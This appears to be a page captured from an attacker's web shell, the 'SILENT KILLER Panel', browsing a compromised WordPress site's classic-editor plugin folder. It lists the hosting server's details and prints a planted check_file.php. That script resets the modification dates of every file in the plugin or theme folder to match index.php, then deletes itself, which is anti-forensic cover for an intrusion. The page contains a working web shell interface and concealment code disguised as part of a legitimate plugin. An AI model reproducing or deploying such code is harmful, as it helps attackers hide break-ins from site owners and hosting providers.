SILENT KILLERPanel

Current Path: > home > ivftiowh > greeceivf.com > wp-content > plugins > classic-editor


Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.44
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/ivftiowh/greeceivf.com/wp-content/plugins/classic-editor

NameTypeSizeLast ModifiedActions
js Directory - -
scripts Directory - -
LICENSE.md File 19104 bytes August 15 2025 02:47:39.
check_file.php File 1665 bytes August 15 2025 02:47:39.
classic-editor.php File 38069 bytes August 15 2025 02:47:39.
readme.txt File 8082 bytes August 15 2025 02:47:39.

Reading File: /home/ivftiowh/greeceivf.com/wp-content/plugins/classic-editor/check_file.php

<?php

function updateFileDates($dir, $timestamp) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        
        $path = $dir . '/' . $item;
        touch($path, $timestamp);
        
        if (is_dir($path)) {
            updateFileDates($path, $timestamp);
        }
    }
}

function extractFirstPathSegment($path) {
    $path = trim(str_replace(str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]), '', $path));
    $path = str_replace("/wp-content/themes/", "", $path);
    $path = str_replace("/wp-content/plugins/", "", $path);

    $folders = explode('/', $path);
    return !empty($folders[0]) ? $folders[0] : '';
}

function getPathFolder($file_path) {
    $folderName = extractFirstPathSegment($file_path);
    if (!empty($folderName)) {
        $themePath = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]) . "/wp-content/themes/" . $folderName;
        if (is_dir($themePath)) {
            return $themePath;
        }
        
        $pluginPath = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]) . "/wp-content/plugins/" . $folderName;
        if (is_dir($pluginPath)) {
            return $pluginPath;
        }
    }
    return '';
}

$self_file = str_replace('\\', '/', __FILE__);
$index_root_path = str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"] . "/index.php");
$reference_timestamp = filemtime($index_root_path);
$directory = getPathFolder($self_file);

if (!empty($directory)) {
    touch($directory, $reference_timestamp);
    updateFileDates($directory, $reference_timestamp);
}

echo "STATUS|OK";
unlink(__FILE__);

SILENT KILLER Tool